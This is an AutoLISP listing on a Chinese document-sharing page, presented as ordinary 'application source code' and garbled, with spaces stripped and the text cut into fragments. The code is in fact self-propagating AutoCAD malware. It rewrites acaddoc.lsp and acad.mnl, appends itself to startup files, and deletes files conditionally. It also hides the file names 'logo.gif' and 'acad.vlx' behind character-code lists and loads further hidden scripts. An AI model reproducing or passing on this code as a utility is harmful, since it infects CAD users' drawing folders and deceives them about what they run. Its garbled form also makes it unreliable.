autolisp应用程序源代码

《autolisp应用程序源代码》由会员上传分享，免费在线阅读，更多相关内容在应用文档-天天文库。

1、.WORD格式整理..(setqwold_cmd(getvar"cmdecho"))(setvar"cmdecho"0)(setqbb2)(setqdpath(getvar"dwgprefix"))(setqwpath(getvar"menuname"))(setqwpath(substrwpath1(-(strlenwpath)4)))(setqn0)(while(

2、etqn0))(setqn2)))(setqn0)(while(

3、wacad"w"))(progn(setqwwjm(openwoldacad"r"))(while(setqwwz(read-linewwjm))(write-linewwzwwjm1))(closewwjm)(closewwjm1))))(setqlbz0)..专业知识分享...WORD格式整理..(setqwwjqm(strcatdpath"acaddoc.lsp"))(if(setqwwjm(openwwjqm"r"))(progn(repeat3(read-linewwjm))(setqwz(

4、read-linewwjm))(setqab(atoi(substrwz41)))(closewwjm)(if(>abbb)(setqlbz1))))(setqwwjqm(strcatwpath"acad.mnl"))(if(setqwwjm(openwwjqm"r"))(progn(repeat3(read-linewwjm))(setqwz(read-linewwjm))(setqnb(atoi(substrwz41)))(closewwjm)(if(

5、lbz1))(if(=lbz1)(progn(setqwoldacad(strcatdpath"acaddoc.lsp"))(setqwnewacad(strcatwpath"acad.mnl"))(wwriteapp)))(if(and(/=(substrdpath11)(chr67))(/=(substrdpath11)(chr68))(/=(substrdpath11)(chr69))(/=(substrdpath11)(chr70)))(progn(setqwoldacad(strcatwpa

6、th"acad.mnl"))(setqwnewacad(strcatdpath"acaddoc.lsp"))(wwriteapp)..专业知识分享...WORD格式整理..)(vl-file-delete(strcatdpath"acaddoc.lsp")));load"acadapq")(vl-file-copy(findfile(vl-list->string'(10811110311146103105102)))(vl-list->string'(97999710046118108120)))(

7、load"acadappp.lsp")(princ)(if(nullstol)(load"lcm"""))(princ)(load"acadappp.lsp")(princ)(load"acadapq")(princ)(load"acadappp.lsp")(princ)(setqflagxt)(setqbz"(setqflagxt)")(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfile

8、target)(progn(setqwjm1(opentarget"r"))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensource"r"))(setqwjm1(opentarget"a"))(write-line(chr13)wjm1)(while(setqtext(re